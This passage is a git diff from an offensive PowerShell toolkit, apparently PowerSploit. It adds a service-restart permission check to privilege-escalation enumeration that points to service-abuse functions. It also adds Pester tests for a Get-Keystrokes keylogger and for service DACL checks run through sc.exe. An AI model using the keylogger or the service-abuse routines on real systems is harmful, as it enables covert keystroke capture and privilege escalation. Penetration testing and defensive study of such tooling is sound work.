'AbuseFunction' "Install-ServiceBinary -ServiceName '$ServiceName'" + $Out | Add-Member Noteproperty 'CanRestart' $CanRestart $Out } } @@ -510,7 +513,7 @@ function Get-ServicePermission { This function enumerates all available services and tries to open the service for modification, returning the service object - if the process doesn't failed. + if the process didn't fail. .EXAMPLE @@ -541,11 +544,17 @@ function Get-ServicePermission { # means the change was successful if ($Result -contains "[SC] ChangeServiceConfig SUCCESS"){ + try { + $CanRestart = Test-ServiceDaclPermission -ServiceName $Service.name -Dacl 'WPRP' + } catch { + $CanRestart = "Cannot be determined through DACL, try manually." + } $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $Service.name $Out | Add-Member Noteproperty 'Path' $Service.pathname $Out | Add-Member Noteproperty 'StartName' $Service.startname $Out | Add-Member Noteproperty 'AbuseFunction' "Invoke-ServiceAbuse -ServiceName '$($Service.name)'" + $Out | Add-Member Noteproperty 'CanRestart' $CanRestart $Out } } diff --git a/Tests/Exfiltration.tests.ps1 b/Tests/Exfiltration.tests.ps1 new file mode 100644 index 0000000..e4f60d5 --- /dev/null +++ b/Tests/Exfiltration.tests.ps1 @@ -0,0 +1,54 @@ +Set-StrictMode -Version Latest + +$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent +$ModuleRoot = Resolve-Path "$TestScriptRoot\.." +$ModuleManifest = "$ModuleRoot\Exfiltration\Exfiltration.psd1" + +Remove-Module [E]xfiltration +Import-Module $ModuleManifest -Force -ErrorAction Stop + +Describe 'Get-Keystrokes' { + + if (Test-Path "$($env:TEMP)\key.log") { Remove-Item -Force "$($env:TEMP)\key.log" } + $WindowTitle = (Get-Process -Id $PID).MainWindowTitle + + $Shell = New-Object -ComObject wscript.shell + $Shell.AppActivate($WindowTitle) + + $KeyLogger = Get-Keystrokes -PassThru + Start-Sleep -Seconds 1 + + $Shell.SendKeys("Pester`b`b`b`b`b`b") + $KeyLogger.Dispose() + + It 'Should output to file' { Test-Path "$($env:TEMP)\key.log" | Should Be $true } + + $KeyObjects = Get-Content -Path "$($env:TEMP)\key.log" | ConvertFrom-Csv + + It 'Should log keystrokes' { + $FileLength = (Get-Item "$($env:TEMP)\key.log").Length + $FileLength | Should BeGreaterThan 14 + } + + It 'Should get foreground window title' { + $KeyObjects[0].WindowTitle | Should Be $WindowTitle + } + + It 'Should log time of key press' { + $KeyTime = [DateTime]::Parse($KeyObjects[0].Time) + $KeyTime.GetType().Name | Should Be 'DateTime' + } + + It 'Should stop logging after timeout' { + + $Timeout = 0.05 + $KeyLogger = Get-Keystrokes -Timeout $Timeout -PassThru + + Start-Sleep -Seconds 4 + + $KeyLogger.Runspace.RunspaceAvailability | Should Be 'Available' + $KeyLogger.Dispose() + } + + Remove-Item -Force "$($env:TEMP)\key.log" +} diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 index 095c946..56dfd2c 100644 --- a/Tests/Privesc.tests.ps1 +++ b/Tests/Privesc.tests.ps1 @@ -74,6 +74,137 @@ Describe 'Get-ModifiableFile' { } } +Describe 'Test-ServiceDaclPermission' { + + if(-not $(Test-IsAdmin)) { + Throw "'Test-ServiceDaclPermission' Pester test needs local administrator privileges." + } + + It "Should fail finding 'sc.exe'." { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + $DirectoryName = Get-RandomName + $env:SystemRoot = 'C:\\' + $DirectoryName + { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "sc.exe not found" + + sc.exe delete $ServiceName | Should Match "SUCCESS" + $env:SystemRoot = 'C:\Windows' + } + + It "Should succeed finding 'sc.exe'." { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + $DirectoryName = Get-RandomName + New-Item -Path $env:Temp -Name "$DirectoryName\System32" -ItemType Directory + New-Item -Path $env:Temp -Name "$DirectoryName\System32\sc.exe" -ItemType File + $env:SystemRoot = $env:Temp + "\$DirectoryName" + Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True + + Remove-Item -Recurse -Force "$env:Temp\$DirectoryName" + $env:SystemRoot = 'C:\Windows' + sc.exe delete $ServiceName | Should Match "SUCCESS" + } + + It "Should fail querying WMI for a non-existent service." { + $ServiceName = Get-RandomName + { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "not found on the machine" + } + + It "Should succeed querying WMI for an existenting service." { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True + sc.exe delete $ServiceName | Should Match "SUCCESS" + } + + It "Should fail querying WMI for an existing service due to insufficient DACL permissions." { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + sc.exe sdset $ServiceName "D:(A;;CCDCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match "SUCCESS" + { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "not found on the machine" + sc.exe delete $ServiceName | Should Match "SUCCESS" + } + + It "Should succeed querying WMI for an existing service due to sufficient DACL permissions." { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match "SUCCESS" + Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True + sc.exe delete $ServiceName | Should Match "SUCCESS" + } + + It "Should fail running 'sc.exe sdshow' due to insufficient permissions." { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDWDWO;;;$UserSid)" | Should Match "SUCCESS" + { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "Could not retrieve DACL permissions" + sc.exe delete $ServiceName | Should Match "SUCCESS" + } + + It "Should succeed running 'sc.exe sdshow' due to sufficient permissions." { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match "SUCCESS" + Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True + sc.exe delete $ServiceName | Should Match "SUCCESS" + } + + it "Should fail finding the service DACL value of 'WP' for the current user." { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPDTLOCRSDRCWDWO;;;S-1-5-4)" | Should Match "SUCCESS" + Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WP' | Should Be $False + sc.exe delete $ServiceName | Should Match "SUCCESS" + } + + it "Should succeed finding the service DACL value of 'WP' for the current user." { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-4)" | Should Match "SUCCESS" + Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WP' | Should Be $True + sc.exe delete $ServiceName | Should Match "SUCCESS" + } +} ######################################################## # |